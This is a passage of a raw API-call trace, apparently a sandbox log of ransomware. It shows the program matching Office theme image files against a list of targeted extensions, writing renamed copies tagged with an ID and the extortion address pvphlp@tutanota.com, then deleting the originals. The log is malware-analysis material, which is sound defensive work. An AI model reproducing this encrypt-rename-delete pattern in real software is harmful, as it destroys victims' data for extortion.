Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0077.000] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png")) returned 1 [0077.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0077.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0077.000] lstrlenW (lpString=".doc") returned 4 [0077.000] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0077.000] lstrlenW (lpString=".docx") returned 5 [0077.000] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0077.000] lstrlenW (lpString=".pdf") returned 4 [0077.000] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0077.000] lstrlenW (lpString=".xls") returned 4 [0077.000] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0077.000] lstrlenW (lpString=".xlsx") returned 5 [0077.000] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0077.000] lstrlenW (lpString=".ppt") returned 4 [0077.000] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0077.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0077.000] lstrlenW (lpString=".zip") returned 4 [0077.001] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0077.001] lstrlenW (lpString=".rar") returned 4 [0077.001] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0077.001] lstrlenW (lpString=".bz2") returned 4 [0077.001] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0077.001] lstrlenW (lpString=".7z") returned 3 [0077.001] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0077.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0077.001] lstrlenW (lpString=".dbf") returned 4 [0077.001] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0077.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0077.001] lstrlenW (lpString=".1cd") returned 4 [0077.001] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0077.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0077.001] lstrlenW (lpString=".jpg") returned 4 [0077.001] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0077.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0077.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0077.001] lstrlenW (lpString=".doc") returned 4 [0077.001] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0077.001] lstrlenW (lpString=".docx") returned 5 [0077.001] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0077.001] lstrlenW (lpString=".pdf") returned 4 [0077.001] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0077.001] lstrlenW (lpString=".xls") returned 4 [0077.001] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0077.001] lstrlenW (lpString=".xlsx") returned 5 [0077.001] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0077.001] lstrlenW (lpString=".ppt") returned 4 [0077.001] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0077.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0077.001] lstrlenW (lpString=".zip") returned 4 [0077.002] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0077.002] lstrlenW (lpString=".rar") returned 4 [0077.002] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0077.002] lstrlenW (lpString=".bz2") returned 4 [0077.002] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0077.002] lstrlenW (lpString=".7z") returned 3 [0077.002] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0077.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0077.002] lstrlenW (lpString=".dbf") returned 4 [0077.002] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0077.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0077.002] lstrlenW (lpString=".1cd") returned 4 [0077.002] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0077.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0077.002] lstrlenW (lpString=".jpg") returned 4 [0077.002] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0077.002] lstrcmpiW (lpString1=".PNG", lpString2=".PPHL") returned -1 [0077.002] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0077.002] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0077.214] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=28595) returned 1 [0077.214] CloseHandle (hObject=0x1f0) returned 1 [0077.215] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png")) returned 0x20 [0077.215] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0077.215] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0077.215] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0077.215] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0077.215] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0077.215] GetLastError () returned 0x0 [0077.215] ReadFile (in: hFile=0x1f0, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x6fb3, lpOverlapped=0x0) returned 1 [0077.223] WriteFile (in: hFile=0x1f8, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0x6fc0, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0x6fc0, lpOverlapped=0x0) returned 1 [0077.225] ReadFile (in: hFile=0x1f0, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0077.225] WriteFile (in: hFile=0x1f8, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0077.225] SetEndOfFile (hFile=0x1f8) returned 1 [0077.225] CloseHandle (hObject=0x1f8) returned 1 [0077.225] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0077.225] SetEndOfFile (hFile=0x1f0) returned 1 [0077.226] CloseHandle (hObject=0x1f0) returned 1 [0077.226] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0077.226] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png")) returned 1 [0077.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0077.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0077.227] lstrlenW (lpString=".doc") returned 4 [0077.227] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0077.227] lstrlenW (lpString=".docx") returned 5 [0077.227] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0077.227] lstrlenW (lpString=".pdf") returned 4 [0077.227] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0077.227] lstrlenW (lpString=".xls") returned 4 [0077.227] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0077.227] lstrlenW (lpString=".xlsx") returned 5 [0077.227] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0077.227] lstrlenW (lpString=".ppt") returned 4 [0077.227] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0077.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0077.227] lstrlenW (lpString=".zip") returned 4 [0077.227] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0077.227] lstrlenW (lpString=".rar") returned 4 [0077.227] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0077.227] lstrlenW (lpString=".bz2") returned 4 [0077.227] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0077.227] lstrlenW (lpString=".7z") returned 3 [0077.227] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0077.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0077.227] lstrlenW (lpString=".dbf") returned 4 [0077.227] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0077.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0077.227] lstrlenW (lpString=".1cd") returned 4 [0077.227] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0077.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0077.228] lstrlenW (lpString=".jpg") returned 4 [0077.228] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0077.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0077.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0077.228] lstrlenW (lpString=".doc") returned 4 [0077.228] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0077.228] lstrlenW (lpString=".docx") returned 5 [0077.228] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0077.228] lstrlenW (lpString=".pdf") returned 4 [0077.228] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0077.228] lstrlenW (lpString=".xls") returned 4 [0077.228] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0077.228] lstrlenW (lpString=".xlsx") returned 5 [0077.228] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0077.228] lstrlenW (lpString=".ppt") returned 4 [0077.228] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0077.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0077.228] lstrlenW (lpString=".zip") returned 4 [0077.228] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0077.228] lstrlenW (lpString=".rar") returned 4 [0077.228] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0077.228] lstrlenW (lpString=".bz2") returned 4 [0077.228] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0077.228] lstrlenW (lpString=".7z") returned 3 [0077.228] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0077.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0077.228] lstrlenW (lpString=".dbf") returned 4 [0077.228] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0077.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0077.228] lstrlenW (lpString=".1cd") returned 4 [0077.228] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0077.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0077.229] lstrlenW (lpString=".jpg") returned 4 [0077.229] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0077.229] lstrcmpiW (lpString1=".PNG", lpString2=".PPHL") returned -1 [0077.229] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0077.229] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0077.229] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=25106) returned 1 [0077.229] CloseHandle (hObject=0x1f0) returned 1 [0077.229] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png")) returned 0x20 [0077.229] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0077.229] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0077.230] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0077.230] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0077.230] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0077.230] GetLastError () returned 0x0 [0077.230] ReadFile (in: hFile=0x1f0, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x6212, lpOverlapped=0x0) returned 1 [0077.233] WriteFile (in: hFile=0x1f8, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0x6220, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0x6220, lpOverlapped=0x0) returned 1 [0077.234] ReadFile (in: hFile=0x1f0, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0077.234] WriteFile (in: hFile=0x1f8, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0077.234] SetEndOfFile (hFile=0x1f8) returned 1 [0077.234] CloseHandle (hObject=0x1f8) returned 1 [0077.235] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0077.235] SetEndOfFile (hFile=0x1f0) returned 1 [0077.236] CloseHandle (hObject=0x1f0) returned 1 [0077.236] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0077.236] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png")) returned 1 [0077.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0077.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0077.245] lstrlenW (lpString=".doc") returned 4 [0077.245] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0077.245] lstrlenW (lpString=".docx") returned 5 [0077.245] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0077.245] lstrlenW (lpString=".pdf") returned 4 [0077.245] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0077.245] lstrlenW (lpString=".xls") returned 4 [0077.245] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0077.245] lstrlenW (lpString=".xlsx") returned 5 [0077.245] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0077.245] lstrlenW (lpString=".ppt") returned 4 [0077.245] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0077.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0077.245] lstrlenW (lpString=".zip") returned 4 [0077.245] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0077.245] lstrlenW (lpString=".rar") returned 4 [0077.245] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0077.245] lstrlenW (lpString=".bz2") returned 4 [0077.245] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0077.245] lstrlenW (lpString=".7z") returned 3 [0077.245] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0077.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0077.245] lstrlenW (lpString=".dbf") returned 4 [0077.245] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0077.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0077.245] lstrlenW (lpString=".1cd") returned 4 [0077.245] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0077.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0077.245] lstrlenW (lpString=".jpg") returned 4 [0077.246] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0077.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0077.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0077.246] lstrlenW (lpString=".doc") returned 4 [0077.246] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0077.246] lstrlenW (lpString=".docx") returned 5 [0077.246] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0077.246] lstrlenW (lpString=".pdf") returned 4 [0077.246] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0077.246] lstrlenW (lpString=".xls") returned 4 [0077.246] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0077.246] lstrlenW (lpString=".xlsx") returned 5 [0077.246] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0077.246] lstrlenW (lpString=".ppt") returned 4 [0077.246] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0077.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0077.246] lstrlenW (lpString=".zip") returned 4 [0077.246] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0077.246] lstrlenW (lpString=".rar") returned 4 [0077.246] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0077.246] lstrlenW (lpString=".bz2") returned 4 [0077.246] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0077.246] lstrlenW (lpString=".7z") returned 3 [0077.246] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0077.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0077.246] lstrlenW (lpString=".dbf") returned 4 [0077.246] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0077.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0077.246] lstrlenW (lpString=".1cd") returned 4 [0077.246] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0077.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0077.247] lstrlenW (lpString=".jpg") returned 4 [0077.247] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0077.247] lstrcmpiW (lpString1=".GIF", lpString2=".PPHL") returned -1 [0077.247] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0077.247] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0077.840] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=1347) returned 1 [0077.841] CloseHandle (hObject=0x21c) returned 1 [0077.841] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif")) returned 0x20 [0077.841] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0077.841] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0077.841] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0077.841] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0077.841] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0077.843] GetLastError () returned 0x0 [0077.843] ReadFile (in: hFile=0x21c, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x543, lpOverlapped=0x0) returned 1 [0077.845] WriteFile (in: hFile=0x218, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0x550, lpOverlapped=0x0) returned 1 [0077.846] ReadFile (in: hFile=0x21c, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0077.846] WriteFile (in: hFile=0x218, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xea, lpOverlapped=0x0) returned 1 [0077.846] SetEndOfFile (hFile=0x218) returned 1 [0077.846] CloseHandle (hObject=0x218) returned 1 [0077.846] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, 